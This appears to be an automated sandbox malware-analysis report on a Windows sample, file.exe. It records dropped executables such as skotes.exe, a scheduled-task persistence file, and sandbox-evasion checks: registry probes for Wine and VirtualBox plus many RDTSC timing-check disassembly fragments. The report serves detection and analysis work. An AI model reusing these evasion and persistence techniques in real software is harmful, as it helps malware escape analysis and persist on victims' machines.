Source: C:\Users\user\DocumentsDGCFHIDAKE.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5455F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C5455F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A403 second address: 72A407 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A407 second address: 72A40B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A40B second address: 72A41B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F632D23A036h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A41B second address: 72A425 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F632C74B8D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A425 second address: 72A42B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A42B second address: 72A435 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F632C74B8D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A435 second address: 72A449 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632D23A03Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A449 second address: 72A44D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 729B5E second address: 729B77 instructions: 0x00000000 rdtsc 0x00000002 je 00007F632D23A043h 0x00000008 jmp 00007F632D23A03Dh 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 729B77 second address: 729B7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 729B7D second address: 729B81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 729B81 second address: 729B85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 729B85 second address: 729B98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007F632D23A036h 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B69F second address: 72B6A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B6A5 second address: 72B6A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B6A9 second address: 72B6EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push edx 0x0000000d jmp 00007F632C74B8E8h 0x00000012 pop edx 0x00000013 mov eax, dword ptr [eax] 0x00000015 jmp 00007F632C74B8E0h 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e push ecx 0x0000001f pushad 0x00000020 jbe 00007F632C74B8D6h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B73F second address: 72B7CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F632D23A042h 0x00000008 jmp 00007F632D23A03Eh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 movsx ecx, ax 0x00000014 push 00000000h 0x00000016 mov esi, 277D5861h 0x0000001b call 00007F632D23A039h 0x00000020 push ecx 0x00000021 jno 00007F632D23A038h 0x00000027 pop ecx 0x00000028 push eax 0x00000029 ja 00007F632D23A042h 0x0000002f mov eax, dword ptr [esp+04h] 0x00000033 push edi 0x00000034 jo 00007F632D23A038h 0x0000003a pushad 0x0000003b popad 0x0000003c pop edi 0x0000003d mov eax, dword ptr [eax] 0x0000003f push ecx 0x00000040 jp 00007F632D23A03Ch 0x00000046 jl 00007F632D23A036h 0x0000004c pop ecx 0x0000004d mov dword ptr [esp+04h], eax 0x00000051 pushad 0x00000052 jno 00007F632D23A03Ch 0x00000058 jns 00007F632D23A03Ch 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B7CD second address: 72B86B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov dword ptr [ebp+122D32F4h], edi 0x0000000c push 00000003h 0x0000000e call 00007F632C74B8E7h 0x00000013 stc 0x00000014 pop esi 0x00000015 mov dword ptr [ebp+122D3077h], edi 0x0000001b push 00000000h 0x0000001d ja 00007F632C74B8E1h 0x00000023 jmp 00007F632C74B8DBh 0x00000028 push 00000003h 0x0000002a mov dword ptr [ebp+122DB521h], edi 0x00000030 push C1732EAAh 0x00000035 jg 00007F632C74B8EAh 0x0000003b jmp 00007F632C74B8E4h 0x00000040 xor dword ptr [esp], 01732EAAh 0x00000047 jl 00007F632C74B8DEh 0x0000004d lea ebx, dword ptr [ebp+1244F5F8h] 0x00000053 mov dword ptr [ebp+122D191Fh], edx 0x00000059 xchg eax, ebx 0x0000005a push eax 0x0000005b push edx 0x0000005c push ecx 0x0000005d jmp 00007F632C74B8E1h 0x00000062 pop ecx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B86B second address: 72B87C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jp 00007F632D23A036h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B959 second address: 72B95E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B95E second address: 72B9F3 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F632D23A045h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jbe 00007F632D23A03Eh 0x00000011 push edi 0x00000012 jns 00007F632D23A036h 0x00000018 pop edi 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d push ebx 0x0000001e jng 00007F632D23A038h 0x00000024 pop ebx 0x00000025 mov eax, dword ptr [eax] 0x00000027 jmp 00007F632D23A042h 0x0000002c mov dword ptr [esp+04h], eax 0x00000030 push eax 0x00000031 jmp 00007F632D23A045h 0x00000036 pop eax 0x00000037 pop eax 0x00000038 mov dword ptr [ebp+122D1C00h], esi 0x0000003e lea ebx, dword ptr [ebp+1244F601h] 0x00000044 add dword ptr [ebp+122DB521h], edi 0x0000004a push eax 0x0000004b push esi 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007F632D23A049h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72BA65 second address: 72BA94 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F632C74B8EDh 0x0000000c jmp 00007F632C74B8E7h 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jp 00007F632C74B8D6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72BA94 second address: 72BA9E instructions: 0x00000000 rdtsc 0x00000002 jne 00007F632D23A036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72BA9E second address: 72BAB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F632C74B8E6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74B232 second address: 74B238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74B515 second address: 74B51D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74B7EB second address: 74B80B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632D23A048h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74B80B second address: 74B80F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74BA53 second address: 74BA72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632D23A048h 0x00000007 pushad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74BBD0 second address: 74BBD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74BBD4 second address: 74BBE8 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F632D23A036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b je 00007F632D23A036h 0x00000011 push edx 0x00000012 pop edx 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74D138 second address: 74D13C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74F9FF second address: 74FA05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74FB34 second address: 74FB3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74FB3A second address: 74FB48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 750C95 second address: 750C9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 750C9D second address: 750CAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F632D23A03Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7576B6 second address: 7576BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7576BB second address: 7576C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7576C1 second address: 7576DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F632C74B8E6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 756BB5 second address: 756BC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F632D23A03Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 756BC7 second address: 756BF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632C74B8DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F632C74B8D6h 0x00000011 jmp 00007F632C74B8DEh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 756BF0 second address: 756BF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 756BF4 second address: 756BFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 756BFC second address: 756C02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 756C02 second address: 756C0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F632C74B8D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 756C0C second address: 756C1A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F632D23A036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 756C1A second address: 756C20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 756EB3 second address: 756EDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F632D23A048h 0x0000000d jg 00007F632D23A036h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75719C second address: 7571D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632C74B8DCh 0x00000007 jmp 00007F632C74B8E7h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e ja 00007F632C74B8DCh 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7571D3 second address: 7571D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757349 second address: 75734E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75A72A second address: 75A72E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75A72E second address: 75A738 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F632C74B8D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75A738 second address: 75A74D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F632D23A040h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75ADB3 second address: 75ADE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F632C74B8E6h 0x00000008 ja 00007F632C74B8D6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F632C74B8DCh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75ADE5 second address: 75ADF7 instructions: 0x00000000 rdtsc 0x00000002 js 00007F632D23A036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F632D23A036h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75ADF7 second address: 75ADFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75B4E7 second address: 75B521 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632D23A043h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pop edi 0x0000000d popad 0x0000000e mov dword ptr [esp], ebx 0x00000011 mov esi, dword ptr [ebp+122D1DBBh] 0x00000017 push eax 0x00000018 pushad 0x00000019 pushad 0x0000001a jmp 00007F632D23A040h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75B68A second address: 75B690 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75B690 second address: 75B694 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75B694 second address: 75B6B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632C74B8DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007F632C74B8D8h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75B6B3 second address: 75B6B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75B847 second address: 75B857 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F632C74B8D8h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75BACB second address: 75BAF0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F632D23A041h 0x0000000c pop eax 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 jl 00007F632D23A036h 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75BAF0 second address: 75BB0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632C74B8DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov si, D891h 0x0000000e xchg eax, ebx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75BB0D second address: 75BB11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75BB11 second address: 75BB31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632C74B8E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jno 00007F632C74B8D6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75BF6A second address: 75BFF2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632D23A03Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F632D23A038h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 jmp 00007F632D23A040h 0x0000002c mov edi, dword ptr [ebp+122D3286h] 0x00000032 push 00000000h 0x00000034 sub dword ptr [ebp+122D2E96h], eax 0x0000003a mov edi, 7DAC5485h 0x0000003f push 00000000h 0x00000041 push 00000000h 0x00000043 push eax 0x00000044 call 00007F632D23A038h 0x00000049 pop eax 0x0000004a mov dword ptr [esp+04h], eax 0x0000004e add dword ptr [esp+04h], 00000015h 0x00000056 inc eax 0x00000057 push eax 0x00000058 ret 0x00000059 pop eax 0x0000005a ret 0x0000005b mov esi, dword ptr [ebp+122D304Bh] 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75BFF2 second address: 75BFF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75BFF9 second address: 75BFFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75C807 second address: 75C80B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75FBF6 second address: 75FBFC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EDF5 second address: 75EE0E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F632C74B8DDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 761142 second address: 761162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F632D23A046h 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760525 second address: 760529 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 761A8E second address: 761A92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 761A92 second address: 761A96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7659C9 second address: 7659D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F632D23A036h 0x0000000a rdtsc
